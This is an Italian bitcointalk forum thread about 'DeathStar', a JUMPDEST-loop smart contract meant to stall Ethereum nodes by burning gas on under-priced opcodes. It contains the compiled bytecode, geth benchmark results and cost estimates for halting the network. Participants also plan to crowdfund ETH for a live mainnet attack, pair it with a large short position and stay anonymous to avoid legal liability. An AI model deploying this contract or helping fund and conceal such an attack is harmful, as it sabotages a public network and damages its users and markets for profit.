Notare che aggiungere piu' jumpdest allunga il codice ma migliora il costo medio per opcode in modo molto marginale,
non credo ne valga la pena.

Codice binario dello smart contract compilato:

Binary:
6060604052341561000c57fe5b5b6104688061001c6000396000f30060606040526000357c01000 00000000000000000000000000000000000000000000000000000900463ffffffff1680634b489b 321461003b575bfe5b341561004357fe5b61004b61004d565b005b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 61004e565b5600a165627a7a7230582038b23d251247261d10e2d2488b65e84ad63f17d7c93525f da5e1c3551ac3ae460029


Un ringraziamento ai ragazzi della comunita' italiana di bitcointalk.org (filippone, acquafredda, HostFat, jack0m ed altri)
che mi hanno dato spunti interessanti per la realizzazione di questo studio.

Un caso di studio nato proprio da una tua osservazione:

ho trovato ben due punti g!
Ecco i miei punti che me lo rendono impossiible!

Vero ci avevo pensato. Ma in questo caso basterebbe lanciare n ricorrenze dello smart contract, magari
leggermente diverse una dall'altra per confondere un po' le idee alla rete.

........

https://media.tenor.com/images/e090af3f960034ac239a66aff221cd2c/tenor.gif

A parte il fatto che quella funzione, non scrivendo nella blockchain, non viene eseguita da nessun miner, ma solo da chi la esegue senza nessun costo.
Pure se ci metti un istruzione write non ha senso, nella migliore delle ipotesi esegue fino a che ci stanno fondi, nella peggiore non viene eseguita nemmeno perchè si accorge prima che non termina. 8

Quindi, gbianchi, se quello che dice Makkara è vero, forse non è così semprlice?
Beh, ma allora puoi provare a farlo giarare immmediatamente se non c'è nessuna controindicazione!

Mi parreva strano fosse stato così semplice...

nella peggiore non viene eseguita nemmeno perchè si accorge prima che non termina. 8

Ottimo lavoro davvero!
A livello tecnico non ci capisco una mazza e non entro assolutamente nel merito ma a livello concettuale sembra una figata e se dovesse riuscire...
Comunque immagino esistano dei rimedi/correttivi. Prima di fare qualsiasi azione studierei le eventuali azioni di contrasto così da anticiparle.
Per la traduzione in inglese  gbianchi mi ha chiesto in pvt ma al momento non riesco prima di qualche giorno. Se qualcuno vuole iniziare...

Mah ci ho riflettuto, e visto che io ho iniziato a studiare ethereum una settimana fa...
se mi confronto con la comunita' possono succedere queste cose:

0) Espongo alla comunita'

1) l'idea e' buona e la usano... che in fondo e' quello che mi interessa.
2) Mi criticano in eventuali punti deboli, e magari riesco a lavorarci su e tornare al punto 0
3) Mi motivano (seriamente) che e' una cagata. Mi sono divertito un po' ed e' morta li'.

Direi che in ogni caso va bene, in pieno spirito open source ;)

Se qualcuno vuole iniziare...

Ho già iniziato.
Solita tecnica di GT + revisione a mano.
Stasera condivido qualcosa.

Ok bianchi hai ragione tu allora.  8)

alla questione delle possibili contromisure ci avevo pensato anch'io. Mi metto nell'ottica di chi ha un interesse da difendere in ethereum, soprattutto chi gestisce i nodi validatori. Avevi già scritto che oltre la metà sono in cloud, se vedessi diminuire le prestazioni dei miei server per aumento del carico, la cosa più banale da fare sarebbe aggiungere altre risorse hw per compensare. Ovviamente aumenterebbero i costi, ma questo potrebbe essere bilanciato dal beneficio di mantenere stabile il valore di ETH.

Se poi oltre a validatore sono anche miner, comunque aumenterebbero le mie entrate provenienti dal gas sprecato [questo punto in realtà non mi è ancora chiaro: se lo smart contract esaurisce il gas prima di terminare, e quindi i nodi validatori lo rigettano, cosa viene finalizzato su blockchain? Le fees vengono comunque incamerate dai miner?]

Infatti questo e' un punto cardine... e mi fa piacere che hai colto molto bene il punto dell'attacco,
e anche la dinamica... mi sa che sei l'unico per ora :)

Pero' considera un po' di cose:

1) in ethereum, le fee le prendono i miner. mentre tutto il lavoro di calcolo degli smart contract lo fanno i nodi!
  (in bitcoin succede un qualcosa di simile, ma almeno i nodi fanno un lavoro direi monotono, di verifica di correttezza delle transazioni e basta)
  Qui invece essendo il codice programmabile, i nodi si possono beccare delle sberle di carico computazionale
  non indifferente... ed infatti e' importante capie come fanno ad eseguire il vari task, come li ordinano per priorita', come gestiscono il multitask...
  praticamente la EVM deve avere anche tutta la logica di un sistema operativo integrata, per la suddivisione delle risorse tra i vari smart contract in esecuzione.

2) poi le EVM in esecuzione sui vari nodi devono giungere ad un consenso, quindi dovranno anche scambiarsi delle info.... e se studi uno smart contract
 che ad ogni esecuzione fa calcoli random, quindi ogni EVM potrebbe giungere ad un risultato diverso... come fanno a giungere ad un consenso?

3) Inoltre le EVM che girano sui nodi debbono continuamente controllare se hanno sforato il le risorse disponibili
(ossia se il gas consumato, al valore attuale (ma di quando?) ha superato il deposito ethereum disponibile). Questo mi fa pensare ad un overhead per ogni opcode  eseguito mostruoso!

Ho provato a leggere lo yellow paper su questo punto, ma lui stesso lo descrive "la parte piu' ostica del protocollo ethereum", e
per ora non ho capito come i vari nodi convergono al consenso.

Comunque, se le cose vanno cosi', man mano dovrebbero sparire i nodi gestiti da utenti, e tutti i nodi concentrarsi in clud centralizzati
(e probabilmente gestiti dallo staff ethereum) anche perche' ribadisco che il carico computazionale gestito dai nodi e' in continuo aumento,
e i nodi non ci guadagnano nulla. (e mi sembra che sia proprio la dinamica in corso).

Tra l'altro e' proprio seguendo questa dinamica che mi sono iniziate a venire le idee per questo potenziale attacco.

Insomma, magari  non avro' centrato in pieno il bersaglio, ma sono convintissimo di aver messo le mani su una zona davvero "delicata".
Inoltre ribadisco il fatto che sia sparita la possibilita' di mettere delle tag (e quindi usare direttamente la jump) in assembler mi puzza proprio molto.

sul punto 2), anche senza conoscere nulla del meccanismo di consenso, una delle poche cose che so è che qualunque funzione di generazione di numeri random (più propriamente pseudo-random) deve ottenere esattamente lo stesso valore (a parità di input) su qualunque nodo venga fatta girare.
Ma questo vale più in generale per qualsiasi input esterno, proveniente da oracoli, e deve essere così by design, visto che il network dei nodi, come quello di bitcoin, è costituito per definizione da repliche identiche (a livello logico) che condividono la stessa blockchain.

Why do gas fees exist?

In short, gas fees help keep the Ethereum network secure. By requiring a fee for every computation executed on the network, we prevent bad actors from spamming the network. In order to prevent accidental or hostile infinite loops or other computational wastage in code, each transaction is required to set a limit to how many computational steps of code execution it can use. The fundamental unit of computation is "gas".

uhhh grazie!!!

Allora, io spero col cuore che gbianchi abbia ragione, ma temo che, per i motivi sopra più volte esposti, possa avere ragione tu.
Però se potessi spiegarci un pò meglio perchè non funziona, la discussione sarebbe molto più interessante.
Quindi per adesso aiuto il nostro con il suo esperimento...

Potete partire da questo ed usarlo e modifcarlo.

TI ho messo qualche nota, guarda se le vedi

Ho accettato i suggerimenti, e già che c'ero ho corretto qualche errore di battitura e reso un pò più snella la forma.
Giusto per evitare troppi sbattimenti formattando il documento con link o quant'altro: vuoi pubblicare solo in un thread qui su bitcointalk o vuoi metterlo su medium/ altre parti?

In una prima fase probabilmente e' meglio mtterlo qui su bitcointalk come post.

Tipo, se arriva uno e mi dice "e' una solenne cazzata per questo e quest'altro FONDATO motivo" allora e' inutile qualsiasi sbattimento ulteriore.
Oppure arriva un'altro e fa "ah si interessante ma c'e' questo e quest'altro che non funziona" e quindi bisogna sistemarlo...
insomma direi che in una prima fase e' meglio stare fluidi :)

Sono d'accordissimo.
Quando pensi che sia pronto, magari aspettiamo anche acquafredda, posso prepararti la versione "codificata" per bitcointalk (link, elenchi etc) e te la mando via PM, in modo che tu possa quindi semplicemente copiare come OP su un nuovo thread.

Va bene sezione alt-coin, dato che shitcoin ancora non c'è  ;D
Appena possibile cerco di riguardarla ma penso il buon merit rascal abbia fatto certamente un buon lavoro.
Sì senza dubbio si può partire da qui anche se sarebbe bello sottoporla anche su piattaforme più eth based che non ho idea di quali siano.

Nel frattempo mi appunto qui qualche link che sono certo mi verra' utile,

The Yellow Paper
A yellow paper is a more technical version of the white paper. It presents the scientific details of the technology in a very concise way. If you think of a white paper as a proposal, the yellow paper can be a part two where all the specific details are.

Ma davvero ETH ha un yellow-paper?
Conoscevo i white paper, anche prima di Bitcoin.... ma yellow paper mi è nuova... anche se apparentemente c'è un significato:

Interessante discussione.

La possibilità (teorica o pratica) di questo tipo di attacchi è una conseguenza delle scelte architetturali di Ethereum che ha preferito integrare nello stesso layer base le funzioni monetarie (ether, con cui si pagano le fees anche degli smart contracts) e quelle computazionali (gli smart contracts).

L'attacco di spam di cui si parla in questo thread non sarebbe concettualmente molto diverso da mandare avanti e indietro gli stessi satoshi su rete Bitcoin per N volte fin quando lo spazio di blocco non viene saturato rendendo impossibile processare nuove transazioni. Anche lì tutto si tradurrebbe in un'analisi costi-risultati.

La differenza sta appunto nel fatto che i vettori di attacco su Bitcoin si limitano all'aspetto monetario, mentre su Ethereum coinvolgono il lato monetario e quello computazionale, che sono indissolubilmente legati.

La scelta adottata da Bitcoin è stata invece quella di tenere gli smart contracts di tipo Turing-complete fuori dalla catena principale (su una sidechain come RSK): in questo modo un attacco del tipo descritto su questo thread avrebbe effetti solo sulla sidechain, il cui gas è una valuta parallela a bitcoin (RBTC), e non pregiudicherebbe in nessun modo il funzionamento del layer monetario di base.

Una architettura più complessa, più difficile da sviluppare ma più facile da mantenere e da proteggere nel suo "core" (la blockhain bitcoin principale).  

Per quanto riguarda lo scaling e la decentralizzazione di Ethereum la strada intrapresa è quella dello "sharding", ma viene, come il passaggio al POS, periodicamente rimandato. Le ultime news sono nel 2022 sebbene i contorni di questa tecnologia siano ancora molto fumosi

https://ethereum.org/en/eth2/shard-chains/#what-is-sharding

Ho rivisto e apportato alcuni suggerimenti con correzioni al testo tradotto inizialmente da filli.
Dal punto di vista tecnico non mi sono espresso non essendo mia materia, a livello linguistico mi sembra fili ho condiviso soltanto migliorie minimali e aggiunto alcuni punti che secondo me andavano menzionati.
Per il resto, per lo scopo del thread a me sembra pronto per essere dato in pasto al mondo.
https://docs.google.com/document/d/1lVAFE-2RjhTqPS8P58ZaW8uBE2bhWz-3n0ksZRJ39Wk/edit

Ho accettato le revisioni proposte da acquafredda.
A questo punto @gbianchi, se vuoi aggiornare il codice, dovremmo essere pronti.

:-[

https://www.theblockcrypto.com/amp/post/115822/bug-impacting-over-50-of-ethereum-clients-leads-to-fork?

Comincio a credere (a temere) che qualsiasi cosa succeda su ethereum, per quanto grave,  non importi nulla a nessuno.
Forse solo un blocco totale della rete potrebbe impattare, ma tutto il resto passa inosservato.

Comincio a credere (a temere) che qualsiasi cosa succeda su ethereum, per quanto grave,  non importi nulla a nessuno.
Forse solo un blocco totale della rete potrebbe impattare, ma tutto il resto passa inosservato.

Fammi una cortesia, come eravamo d'accordo passami via PM la pagina formattata con
il formato del forum. Preferisco metterla a punto qui sul forum, gia' nel formato che poi usero' per il post.

ho messo il sorgente modificato ed il nuovo binario compilato,
ho aggiornato la lista reference (anche se ho un po' spaccato la formattazione.

che ne dite, posto in alt-coin?

Che circo.

https://bitcointalk.org/index.php?topic=5356927.0

ecco!

PS: i link in reference sono veramente interessanti, mi e' costata parecchia ricerca metterli assieme.

purtroppo in quella sezione viene scritto di tutto e di più sulla qualunque alt, e alla velocità con cui scorrono le pagine è veramente difficile tenere in cima la discussione. Hai pensato di postarlo su Reddit? Lì c'è un canale dedicato solo a Ethereum, dove sicuramente catturerebbe anche l'attenzione di qualche dev:

https://www.reddit.com/r/ethereum/ (https://www.reddit.com/r/ethereum/)

Non so hai seguito la discussion precedentemente-

L'idea era postarlo qui nel forum nella sezione internazionale alt coin, vedere se mi fanno critiche
sensate, quindi lasciar perdere se mi motivano seriamente che e' una cazzata, oppure perfezionarlo
se mi fano critiche costruttive, e poi una volta perfezionato diffonderlo un po'.

Il livello delle sezione mi sembra abbastanza sul tipo "su quale altoin devo investire oggi pomeriggio per diventare ricco entro dopodomani"
piuttosto che di discussione tecnica... ma vediamo, magari qualche tecnico per sbaglio ogni tanto ci passa :)

appunto, il problema mi pare proprio quello. Ci hai speso un bel po' di tempo e hai fatto degli approfondimenti che ben pochi utilizzatori si sognerebbero di fare (ma forse anche tra chi ci sviluppa qualche dapp), sarebbe un peccato se fosse fatica sprecata perché il topic si perde nel rumore di fondo...

Ah non ti preoccupare, sono un tipo coriaceo.
Adesso la lascio li' a "sobollire" qualche giorno, (magari se mi autate a fare un up ogni tanto...)
Poi se non viene fuori niente di interessante, provo altre strade.

ho provato a linkarlo in altre discussioni su ETH, anche se sono sempre del taglio "conviene investire?". Vediamo se solletica qualcuno...

Ah non ti preoccupare, sono un tipo coriaceo.
Adesso la lascio li' a "sobollire" qualche giorno, (magari se mi autate a fare un up ogni tanto...)
Poi se non viene fuori niente di interessante, provo altre strade.

e cosa ne diresti di provare a modificare il titolo del thread in modo che catturi meglio l'attenzione? Lo so che suona brutto, sembra di voler fare click bait... Pensavo a qualcosa tipo "what you should know about Ethereum bofore investing", insomma presentarlo come un warning... boh è solo un'idea, è che mi spiace che finora non abbia l'attenzione che merita.

un documento eccellente:

A Survey on Ethereum Systems Security: Vulnerabilities, Attacks, and Defenses (https://dl.acm.org/doi/fullHtml/10.1145/3391195)

Il mio attacco potrebbe collocarsi nella categoria 3.1.23 Under-priced Opcodes


NOTA: Tutte le vulnerabilita' che sono risolte "lato compilatore" in realta' non sono state risolte,
basta che uno (come me) usi un compilatore piu' vecchio.

Ma si hanno notizie su qualcuno che abbia provato a sfruttare queste vulnerabilità?
Se sono note, assieme alle altre… qualcuno dovrebbe averle sfruttate.

Si può shortare ETH sugli exchange? Si.
Quindi se ci fosse un modo per causare il panico e guadagnarci, già lo si avrebbe fatto.
ETH avrà i suoi problemi, ma evidentemente non sono così gravi come ovviamente un massimalista cercherà di raccontare ;)

Spero di sbagliarmi, ma tutto cio' mi dipinge un ecosistema a tinte molto scure
(e volenti o nolenti ci siamo dentro anche noi duri e puri di Bitcoin).

Date queste premesse, non ti rimane che lanciare DeathStar e vedere cosa succede. Abbiamo capito che lo short non avrà successo (se non ha avuto impatto un unintentional hard fork…)..ma almeno potresti osservare qualche altro effetto (prezzo del gas?)

bè, basta trovare qualcuno disposto a finanziare l'operazione con qualche migliaio di ETH da bruciare, che ci vuole...

Potrebbe bastare meno se l’attacco funzionasse.
Inoltre d’accordo che il prezzo non ne risentirebbe, ma magari con un po’ di leva short si potrebbe provare ad avere una posizione  he profitti anche da variazioni minori…

Con i se non si va da nessuna parte ma se tutto questo fosse vero davvero non si spiega come nessuno abbia interesse ad affossare definitivamente ETH. O tutti quelli che potrebbero farlo hanno interesse a mangiarci sopra fin quando possibile, oppure davvero non si trova un nesso logico in tutta questa faccenda. Sinceramente, per quanto mi riguarda mi dispiace solo di non averci fatto soldi sopra quando era possibile. Occasione mancata per aver più btc, tanti più btc.

...

99% di chi scrive in quella sezione lo fa esclusivamente per le signature.
98% dei progetti sono shitcoin ne piu ne meno.
 il livello generale .... è infimo.
non sorprende che sia quasi impossibile intavolare una discussione di senso compiuto.

credo che hai centrato il punto. un attacco del genere è costosissimo, richiede tanti ETH disponibili ed una posizione short ENORME.
senza short è un semplice sabotaggio, estremamente costoso. per quanto affascinante in linea teorica, totalmente impraticabile/inutile ai fini pratici..
con il rischio concreto di generare solo fee di spesa e non influenzare nulla a conti fatti.

Mi state dicendo quindi che ce la stiamo conigliando e nessuno costruirà mai la nostra DarkStar?
Ci avevo sperato per un attimo di essere coinvolto nel "Big Short" su ETH.
Va bene, vorrà dire che aspetteremo che la storia faccia il suo corso.

Mi state dicendo quindi che ce la stiamo conigliando e nessuno costruirà mai la nostra DarkStar?
Ci avevo sperato per un attimo di essere coinvolto nel "Big Short" su ETH.
Va bene, vorrà dire che aspetteremo che la storia faccia il suo corso.

ragazzi, ho finalmente dei dati.

una piccola soddisfazione personale: deathstar FUNZIONA PERFETTAMENTE sulla EVM di geth 1.10.8 (l'ultima versione fresca  fresca)
il loop continua finche' non arriva ad out of gas!!!

ho lanciato dei benchmark ...

con 1.000.000.000 di gas  ecco i risultati:

evm version 1.10.8-stable
root@ubuperfcheck:/home/sistemi/eth# ./run
EVM gas used:    1000000000
execution time:  9.017201832s
allocations:     41
allocated bytes: 10248
0x
 error: out of gas

quindi se supponiamo gas=50 gwei  con 50 eth si tiene ferma la rete per circa 9 secondi
(ricordiamo che il controllo lo devono fare TUTTI i nodi)

con circa 500 eth (aka 1.500.000$ cira) sono 90 secondi....

Secondo me e' un attacco che puo' funzionare, non ha un costo totalmente proibitivo.
C'e' cente che trada con decine di milioni di $!!!

Quindi con meno del 10% del valore in dollari scambiato giornalmente dalle pair ETH potremme sfasciare definitivamente i sogni degli altocoiners. Io penso che un gruppo di massimalisti spinti che vogliono testare la macchina infernale lo si possa trovare.
Ho una domanda: ma deathstar ha mitigazioni possibili o l'unica è un HF che modifichi tutto ciò che lo permette under the hood?

edit: rileggendo quindi ho capito che non sfasciamo niente in realtà ma saremmo in grado di bloccare l'operatività della macchina per un tempo n.

scusa, non so se ho capito bene. Stai dicendo che il validatore prende tutti gli smart contract in successione, e continua ad eseguirne uno finché non finisce il gas? Non c'è nessuno scheduler o meccanismo di parallelizzazione dei task che assegni le risorse di calcolo in maniera equa e distribuita fra i diversi contratti?

Lo stesso smart contract viene eseguito in modalita' "mono-thread"
quando il miner trova un hash risolutivo (mina un blocco) deve parlare con un nodo, assemblare un blocco (mettendo assieme tutte le transazioni che ritiene convenienti)
ed eseguirlo sul nodo per determinare i costi  reali finali. E finche questo smart contract non finisce, il blocco non puo' uscire, anche se in un ambinete multithread magari
gli altri smart contract sono finiti da un pezzo.

Poi appena il blocco viene finalizzato, viene propagato in rete, dove ogni altro nodo deve rifare la stessa cosa.

mmm... io pensavo che se un nodo si fosse accorto che quello smart contract va in errore perché out of gas, lo avrebbe flaggato come invalido senza neanche propagarlo in rete, quindi che il miner non lo avrebbe ricevuto... per quello mi chiedevo che fine facesse il gas sprecato. Quindi non si rallenta solo la validazione e la propagazione in rete delle transizioni e dei cambi di stato, ma anche la generazione dei nuovi blocchi: un bel casino totale!

Se è lo stesso codice che gira in ETC si potrebbe provarlo gratis sulla blockchain di Ethereum Classic e vedere l'effetto che fa.
Farlo live sulla mainnet di ETH comporta un discreto impiego di risorse considerati i tuoi calcoli.
Ora ragionando al contrario, assumendo che questo tipo di attacco funzioni, quali sarebbero le contromisure? Immagino, per l'ennesima volta, che ciò richieda in HF per attuare eventuali correttivi.

3.3.3 DoS with Block Stuffing (V31
). This vulnerability was first observed from the Fomo3D contract [23].
The vulnerability entails only the attacker's transactions being included in the newly mined blocks
while others are abandoned by miners for a period of time. This can happen when the attacker offers a higher
gasPrice to incentivize the miners to select the attacker's transactions. This vulnerability is caused by the greedy
mining incentive mechanism. At the moment of writing, there is no solution to prevent this vulnerability.

Per terminare l'analisi tecnica di questo thread, mi sono chiesto come riempire al meglio i blocchi
con un loop di questo genere e mi sono reso conto che  visto che il blocco ha un limite di 15.000.000 di gas
(variabile dopo London ma non e' un problema)
se facciamo 15.000.000 * costo gas supponiamo 50 gwei = 0.75 ethereum.

Miners’ strategy for selecting transactions
Miners want to maximize their profit by including transactions with highest fees. In the current PoW implementation of Ethereum, mining the block takes significantly more time than executing the transactions. So let’s assume all transactions in the pool are trivially executed as soon as they arrive and miners know the amount of gas each one uses.

(In a PoS system, our assumptions would be wrong since executing transactions is not trivial compared to validating blocks. Validators would need to develop more complex strategies depending on the PoS implementation.)

Quindi non solo il protocollo ha dei limiti notevoli, ma qusti limiti sono ben conosciuti ed attivamente sfruttati per profitto personale ai danni della rete.
Tutto questo accade mentre ETH continua a tradare invariato, anzi, con una dinamica bella bullish.

Tornand strattamente in tema, non mi è esattamente chiaro questo passaggio:


Devi quindi ottimizzare "la grandezza" di DeathStar per ottimizzare l'inclusione nel blocco? Se fosse una singola transazione enorme, magari verrebbe scartata dai miner, seppur legittima.
n peggio.

Il mio timore è che una volta buttati i 250 ETH per bloccare la rete per un'ora, la situazione terminato l'attacco torni lentamente alla normalità.. con il prezzo he magari renche ne ha risentito.
Insomma.. abbiamo avuto un unintentional chain split ed il prezzo è al massimo storico! (contro USD, non contro BTC...): cosa ci fa pensare che un block stuffing attack avrebbe un risultato diverso?

Il mio timore è che una volta buttati i 250 ETH per bloccare la rete per un'ora, la situazione terminato l'attacco torni lentamente alla normalità.. con il prezzo he magari renche ne ha risentito.
Insomma.. abbiamo avuto un unintentional chain split ed il prezzo è al massimo storico! (contro USD, non contro BTC...): cosa ci fa pensare che un block stuffing attack avrebbe un risultato diverso?

Quindi riassumendo ETH si dimostra per quello che è: a livello teorico è una cagata pazzesca da far impallidire la gloriosa corazzata Potëmkin.
Un altro parallelo potremmo farlo con il titanic... ETH galleggia tranquilla finché qualcuno, durante una notte di nebbia, non vede l'Iceberg e...

Stavo riflettendo su una cosa. Questo lavoro rappresenta un mattone fondamentale per costruire un attacco potenzialmente devastante, ma che rimane per ora teorico per il vincolo imposto dal punto 2) elencato sopra.
Se però si trovasse un altro mattone, ovvero una vulnerabilità in qualche protocollo DeFi che permetta che quei 250 ETH/h vengano presi a prestito, anziché doverceli mettere in partenza, aggirando i vari meccanismi sui collaterali e i margini... BOOOOM!!

Una combinazione letale inarrestabile, anche perché finché la rete è bloccata, smetterebbero di funzionare gli stessi smart contract su DeFi che dovrebbero comportare la liquidazione forzata, ripristinando l'equilibrio: in pratica si verrebbe a creare un disallineamento fra ciò che succede sugli exchange, dove ETH potrebbe effettivamente crollare di valore, e sui Dex paralizzati dall'attacco. Una cosa simile è successa non molto tempo fa su BSC, dove un improvviso pump di un token su Binance ha destabilizzato il protocollo Venus causando liquidazioni forzate per 200M di USD. E lì non c'è neanche stato bisogno di bloccare la rete: figuriamoci se ci fosse stato un attacco concomitante di questo genere!

https://www.theblockcrypto.com/post/105301/bsc-venus-protocol-liquidations-xvs-token-possible-price-manipulation (https://www.theblockcrypto.com/post/105301/bsc-venus-protocol-liquidations-xvs-token-possible-price-manipulation)

Adesso che sono certo che ci sono le basi tecniche, ossia la cosa non puo' essere catalogata come "cazzata"
ci vorrebbe un po' di "ingegneria" finanziaria e parallelamente di marketing.


Ossia, bisognerebbe progettare una sorta di crowdfunding finalizzato dichiaratamente a questo tipo di operazione,
con tanto di specifiche tecniche  ben pubblicate.

E mi piacerebbe che fosse un crowdfunding fatto usando tecnologie Bitcoin, non shitcoin.

Probabilmente farebbe piu' "rumore" dell'attacco stesso

E come ho ben dimostrato, nel mondo delle shitcoin conta solo il rumore,
il contenuto e' assolutamente ininfluente.

Ragazzi... potrebbe essere un progetto davvero importante... se avete idee e' il momento buono per tirarle fuori.

non ho capito, intendi idee non sugli aspetti tecnici ma sul reperimento di fondi per "caricare" l'arma?
o su come dare visibilità al progetto, che nella apposita sezione di questo forum è stato bellamente ignorato? Non pensi che si giunto il momento di pubblicarlo su qualche canale dedicato specificamente a Ethereum, per esempio su Reddit?

l'idea sarebbe di organizzare un crowdfounding, quindi raccogliere capitali,
per realizzare questo grande short...

Come dicevo qualche post fa secondo me l'eventuale tempo di "paralisi" della rete ethereum, se limitato a pochi blocchi avrebbe poco impatto sul valore di Eth perché oggi questa rete non server per tx mission critical ma solo per supportare attività che se anche un po' rallentate non avrebbero grandi conseguenze per gli utilizzatori.
Diverso sarebbe il discorso se riuscissi a bloccare per parecchio tempo, ma dovresti raccogliere parecchi Eth.
A questo riguardo temo che l'ipotesi:


non potrebbe avere grande successo. Potresti anche attirare l'attenzione della community tuttavia:
- se la raccolta fosse di poco valore..... come sopra: tentativo irrilevante
- se invece riuscissi a raccogliere parecchio penso che in tanti starebbero a guardare le successive mosse (anche senza contribuire al crowdfunding) e otterresti l'effetto Robinhood/Game Stop: gente che senza aver partecipato inizierebbe a fare short appena prima del tuo uscendo poi in anticipo.

Insomma attireresti parecchi avvoltoi che cercherebbero di consumare il pasto appena prima di te.
Tenere segrete le date sarebbe difficile: chi potrebbe partecipare ad un crowdfunding accettando di essere tenuto all'oscuro dell'esecuzione dell'operazione ? difficile......

Parlo degli holder di lunga data... quelli che hanno creduto nel progetto iniziale, quelli che hanno
(o dovrebbero avere) una visione.

Sono troppo utopista?

Credo che fino ad ora si siano troppo trascurati gli aspetti legali, e la necessità di fare tutto mantenendosi anonimi e non rintracciabili.
Non so fino a che punto regga il paragone con Robinhood/Game Stop: qui non si tratta solo di mettere d'accordo e coordinare un gruppo di persone per un'operazione short su un certo asset, ma di accompagnare il tutto con un'azione interpretabile come un sabotaggio attivo sullo stesso strumento. E, visti gli interessi in gioco, il rischio è che qualcuno venga a cercarti per presentarti il conto dei danni. Gente che può permettersi le parcelle di costosi studi legali internazionali.

Mmmm, di quale reato accusare? sotto quale giurisdizione ?
Questi sono mercati non regolamentati, non credo esistano leggi a protezione di atti di questo tipo.

Aggiungo: se anche fosse alla luce del sole la volontà di attaccare Eth, lo spirito (dichiarato, tra l'altro) sarebbe quello di attaccarlo perché ritenuto debole. Lo si ritiene debole, si cerca di dimostrare che lo è, lo si attacca.
A posteriore avrai avuto ragione? ti sarai portato a casa il gruzzoletto derivante dallo short. Avrai avuto torto? in questo caso avrai perso tutti gli Eth investiti.
Spiegami che differenza ci potrebbe essere dal punto di vista del rischio legale tra un attacco dichiarato di questo tipo e quello avvenuto nel 92 quando Soros attaccò Lira e Sterlina, avendone ragione. Lo ha fatto perché le giudicava deboli, ovvio. Ed ha vinto:

https://it.wikipedia.org/wiki/Mercoled%C3%AC_nero (https://it.wikipedia.org/wiki/Mercoled%C3%AC_nero)

E' stato chiamato in causa da qualcuno ? non mi risulta, anzi tutti si sono dichiarati ammirati da questa sua visione.

quando si scopre una vulnerabilità in un software, esistono delle linee di condotta che distinguono l'ethical hacker dal black hat.
Se la vulnerabilità viene sfruttata lanciando un exploit in the wild, in conseguenza del quale qualcuno si ritiene danneggiato, quel qualcuno potrebbe cercare di identificare l'attaccante/i e rivalersi nei suoi confronti. Che è poi quello che è successo in diversi casi di hack di piattaforme defi. Altrimenti non si spiega come mai chi è riuscito recentemente a compiere un hack da 600M di $ si sia "pentito" e abbia deciso di restituire tutto. Forse perché ha avuto paura delle conseguenze legali? Altrimenti sarebbe da pazzi rinunciare a un bottino simile:

